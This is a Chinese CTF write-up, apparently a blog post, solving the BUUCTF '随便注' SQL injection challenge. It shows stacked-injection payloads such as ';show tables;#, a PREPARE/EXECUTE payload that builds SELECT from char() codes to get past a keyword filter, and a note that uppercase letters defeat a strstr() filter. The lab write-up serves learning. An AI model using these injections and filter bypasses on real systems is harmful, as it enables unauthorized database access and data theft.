BUUCTF [强网杯 2019]随便注

获取靶机
在这里插入图片描述
尝试语句闭合方式,输入1、1’、1’#判断,结果语句应该为单引号闭合。
再判断列1’ order by1,2,3…–+,发现到3时报错,所以列数位为2。
然后尝试联合注入,1’ union select 1,databases()# 。返回过滤提示。
在这里插入图片描述
过滤了注入常用的关键词。但是尝试一下堆叠注入发现可以

?inject=';show tables;#

在这里插入图片描述
然后就不会了,以下取自大佬
sql语句预处理
首先,同样的,sql语句预处理有很多内容,这里也只是其中一种,详细了解可以自行学习。

先来了解 一下这里的预处理

  • 在sql语句中,@ 用于定义变量。
  • concat(),函数用于字符串拼接。
  • char(),将ASCII码转换为对应的字符。
  • 定义预处理语句 PREPARE stmt_name FROM preparable_stmt;
  • 执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];
  • 删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;
    然后再看一下这里使用的payload。
 - 1';SET @sql = concat(char(115,101,108,101,99,116), " * from `1919810931114514`"); PREPARE yuchuli from @sql; EXECUTE yuchuli;
  • 因为select被过滤,用char(115,101,108,101,99,116)生成select,也可以用拼接生成select。
  • 然后用concat()拼接成一句完整的sql语句。
  • 先定义了一个变量sql,然后将变量sql定义为预处理语句,然后再执行。
    在这里插入图片描述
    得到flag,感觉这种方法更不容易理解。
    这种方法在后面看源码发现,其实也过滤了prepare和set,但使用的是strstr(),所以可以用大写绕过,因为它不区分大小写。源码在文章末。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值